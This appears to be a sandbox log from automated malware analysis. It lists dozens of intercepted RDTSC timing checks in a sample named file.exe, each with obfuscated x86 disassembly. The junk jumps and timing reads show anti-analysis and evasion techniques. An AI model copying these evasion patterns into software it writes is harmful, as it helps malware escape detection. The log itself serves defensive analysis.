Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90E3A second address: 4F90E86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF8A1198187h 0x00000009 sbb eax, 1427080Eh 0x0000000f jmp 00007FF8A1198189h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 jns 00007FF8A11981CEh 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 mov esi, 6122E6A5h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90E86 second address: 4F90EA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11CF041h 0x00000009 popad 0x0000000a add eax, ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90EA3 second address: 4F90EC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A1198189h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90EC1 second address: 4F90F19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF041h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax+00000860h] 0x0000000f pushad 0x00000010 jmp 00007FF8A11CF03Ch 0x00000015 mov ebx, esi 0x00000017 popad 0x00000018 test eax, eax 0x0000001a jmp 00007FF8A11CF03Ch 0x0000001f je 00007FF911E34E9Bh 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FF8A11CF047h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0288 second address: 4FB028D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB028D second address: 4FB02C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF044h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FF8A11CF040h 0x0000000f push eax 0x00000010 jmp 00007FF8A11CF03Bh 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB02C8 second address: 4FB0344 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF8A1198180h 0x00000008 and cx, C378h 0x0000000d jmp 00007FF8A119817Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov eax, 41832AAFh 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FF8A1198180h 0x00000024 add eax, 10775DD8h 0x0000002a jmp 00007FF8A119817Bh 0x0000002f popfd 0x00000030 popad 0x00000031 mov edx, dword ptr [ebp+0Ch] 0x00000034 jmp 00007FF8A1198182h 0x00000039 mov ecx, dword ptr [ebp+08h] 0x0000003c pushad 0x0000003d call 00007FF8A119817Eh 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0358 second address: 4FB035E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB035E second address: 4FB0363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0363 second address: 4FB0369 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0369 second address: 4FB036D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB036D second address: 4FB0371 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA087B second address: 4FA0881 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0881 second address: 4FA0887 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0887 second address: 4FA088B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA088B second address: 4FA08AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF044h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA08AB second address: 4FA08B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, cx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA08B3 second address: 4FA08FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FF8A11CF044h 0x00000011 sbb al, FFFFFFE8h 0x00000014 jmp 00007FF8A11CF03Bh 0x00000019 popfd 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FF8A11CF03Ch 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA08FF second address: 4FA0903 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0903 second address: 4FA0909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0909 second address: 4FA091B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, di 0x00000006 push edi 0x00000007 pop esi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA091B second address: 4FA091F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA091F second address: 4FA0925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0925 second address: 4FA097F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, si 0x00000006 pushfd 0x00000007 jmp 00007FF8A11CF03Eh 0x0000000c jmp 00007FF8A11CF045h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov dword ptr [esp], ecx 0x00000018 jmp 00007FF8A11CF03Eh 0x0000001d xchg eax, esi 0x0000001e jmp 00007FF8A11CF040h 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push ecx 0x00000028 pop edx 0x00000029 mov bx, ax 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0A95 second address: 4FA0AD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198189h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b movzx esi, di 0x0000000e mov ah, dh 0x00000010 popad 0x00000011 leave 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF8A1198187h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0AD4 second address: 4FA01DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF049h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d cmp eax, 00000000h 0x00000010 setne al 0x00000013 xor ebx, ebx 0x00000015 test al, 01h 0x00000017 jne 00007FF8A11CF037h 0x00000019 xor eax, eax 0x0000001b sub esp, 08h 0x0000001e mov dword ptr [esp], 00000000h 0x00000025 mov dword ptr [esp+04h], 00000000h 0x0000002d call 00007FF8A5CD6A91h 0x00000032 mov edi, edi 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 call 00007FF8A11CF03Dh 0x0000003c pop esi 0x0000003d mov edi, 74413824h 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA01DD second address: 4FA01E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA01E3 second address: 4FA0217 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF044h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FF8A11CF043h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0217 second address: 4FA02A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198189h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov al, bh 0x0000000d pushfd 0x0000000e jmp 00007FF8A1198188h 0x00000013 add cl, FFFFFFC8h 0x00000016 jmp 00007FF8A119817Bh 0x0000001b popfd 0x0000001c popad 0x0000001d xchg eax, ebp 0x0000001e pushad 0x0000001f jmp 00007FF8A1198184h 0x00000024 call 00007FF8A1198182h 0x00000029 push eax 0x0000002a pop edx 0x0000002b pop eax 0x0000002c popad 0x0000002d mov ebp, esp 0x0000002f pushad 0x00000030 jmp 00007FF8A1198183h 0x00000035 push eax 0x00000036 push edx 0x00000037 mov ax, B815h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA02A9 second address: 4FA0391 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF8A11CF042h 0x00000008 jmp 00007FF8A11CF045h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 push FFFFFFFEh 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FF8A11CF03Ch 0x0000001a add cx, D448h 0x0000001f jmp 00007FF8A11CF03Bh 0x00000024 popfd 0x00000025 popad 0x00000026 push 011D9C73h 0x0000002b pushad 0x0000002c jmp 00007FF8A11CF041h 0x00000031 call 00007FF8A11CF040h 0x00000036 mov ecx, 64AFE131h 0x0000003b pop esi 0x0000003c popad 0x0000003d add dword ptr [esp], 74A901D5h 0x00000044 jmp 00007FF8A11CF03Dh 0x00000049 push 0A8B53D1h 0x0000004e jmp 00007FF8A11CF047h 0x00000053 xor dword ptr [esp], 7F4A78A1h 0x0000005a jmp 00007FF8A11CF046h 0x0000005f mov eax, dword ptr fs:[00000000h] 0x00000065 jmp 00007FF8A11CF040h 0x0000006a nop 0x0000006b push eax 0x0000006c push edx 0x0000006d push eax 0x0000006e push edx 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0391 second address: 4FA0395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0395 second address: 4FA03B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF049h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA03B2 second address: 4FA03B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA03B8 second address: 4FA03FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF043h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FF8A11CF049h 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF8A11CF03Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA03FB second address: 4FA040B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8A119817Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA040B second address: 4FA0433 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub esp, 18h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF8A11CF040h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0433 second address: 4FA0442 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A119817Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0442 second address: 4FA0495 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF049h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov edx, eax 0x0000000d pushfd 0x0000000e jmp 00007FF8A11CF048h 0x00000013 sub eax, 5FECD738h 0x00000019 jmp 00007FF8A11CF03Bh 0x0000001e popfd 0x0000001f popad 0x00000020 push eax 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 mov ecx, ebx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0495 second address: 4FA04F8 instructions: 0x00000000 rdtsc 0x00000002 mov bh, 19h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007FF8A119817Ah 0x0000000b pushfd 0x0000000c jmp 00007FF8A1198182h 0x00000011 adc cl, FFFFFFC8h 0x00000014 jmp 00007FF8A119817Bh 0x00000019 popfd 0x0000001a pop esi 0x0000001b popad 0x0000001c xchg eax, ebx 0x0000001d jmp 00007FF8A119817Fh 0x00000022 xchg eax, esi 0x00000023 jmp 00007FF8A1198186h 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c movsx edi, si 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA04F8 second address: 4FA04FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA04FE second address: 4FA0502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0502 second address: 4FA0506 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0506 second address: 4FA0563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 jmp 00007FF8A1198183h 0x0000000e xchg eax, edi 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FF8A1198184h 0x00000016 and esi, 63B11B18h 0x0000001c jmp 00007FF8A119817Bh 0x00000021 popfd 0x00000022 movzx eax, di 0x00000025 popad 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FF8A1198181h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0563 second address: 4FA05B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF041h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b mov si, bx 0x0000000e popad 0x0000000f mov eax, dword ptr [75C74538h] 0x00000014 jmp 00007FF8A11CF045h 0x00000019 xor dword ptr [ebp-08h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FF8A11CF048h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA05B7 second address: 4FA05BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA05BD second address: 4FA05DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF8A11CF03Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA05DF second address: 4FA05E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA05E4 second address: 4FA0605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF8A11CF045h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0605 second address: 4FA060B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA060B second address: 4FA060F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA060F second address: 4FA062F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF8A1198181h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA062F second address: 4FA0633 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0633 second address: 4FA0639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0639 second address: 4FA0641 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, di 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0641 second address: 4FA0670 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 lea eax, dword ptr [ebp-10h] 0x0000000a jmp 00007FF8A119817Bh 0x0000000f mov dword ptr fs:[00000000h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FF8A1198180h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0670 second address: 4FA0676 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0676 second address: 4FA067C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA067C second address: 4FA0680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0680 second address: 4FA06E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198188h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [ebp-18h], esp 0x0000000e pushad 0x0000000f mov cl, 2Bh 0x00000011 push edi 0x00000012 mov ebx, esi 0x00000014 pop eax 0x00000015 popad 0x00000016 mov eax, dword ptr fs:[00000018h] 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov eax, 2A42D0F9h 0x00000024 pushfd 0x00000025 jmp 00007FF8A1198186h 0x0000002a sub eax, 175B0208h 0x00000030 jmp 00007FF8A119817Bh 0x00000035 popfd 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA06E1 second address: 4FA06E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA06E6 second address: 4FA073C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FF8A1198185h 0x0000000a sub ch, 00000026h 0x0000000d jmp 00007FF8A1198181h 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov ecx, dword ptr [eax+00000FDCh] 0x0000001c jmp 00007FF8A119817Eh 0x00000021 test ecx, ecx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FF8A119817Ah 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA073C second address: 4FA074B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA074B second address: 4FA0751 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0751 second address: 4FA0755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0755 second address: 4FA0759 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0759 second address: 4FA07B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007FF8A11CF065h 0x0000000e jmp 00007FF8A11CF047h 0x00000013 add eax, ecx 0x00000015 jmp 00007FF8A11CF046h 0x0000001a mov ecx, dword ptr [ebp+08h] 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FF8A11CF047h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA07B2 second address: 4FA0806 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF8A119817Fh 0x00000009 sub ah, 0000002Eh 0x0000000c jmp 00007FF8A1198189h 0x00000011 popfd 0x00000012 mov cx, 03B7h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 test ecx, ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FF8A1198189h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90199 second address: 4F901F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF041h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FF8A11CF041h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FF8A11CF03Ch 0x00000017 jmp 00007FF8A11CF045h 0x0000001c popfd 0x0000001d mov di, ax 0x00000020 popad 0x00000021 mov ebp, esp 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F901F1 second address: 4F901F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F901F5 second address: 4F901F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F901F9 second address: 4F901FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F901FF second address: 4F9023B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, ecx 0x00000005 mov dx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub esp, 2Ch 0x0000000e pushad 0x0000000f mov ax, 1227h 0x00000013 popad 0x00000014 push edx 0x00000015 jmp 00007FF8A11CF046h 0x0000001a mov dword ptr [esp], ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FF8A11CF03Ah 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9023B second address: 4F9023F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9023F second address: 4F90245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90245 second address: 4F90260 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, DDh 0x00000005 mov di, BAFCh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FF8A119817Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90260 second address: 4F90264 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90264 second address: 4F9026A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
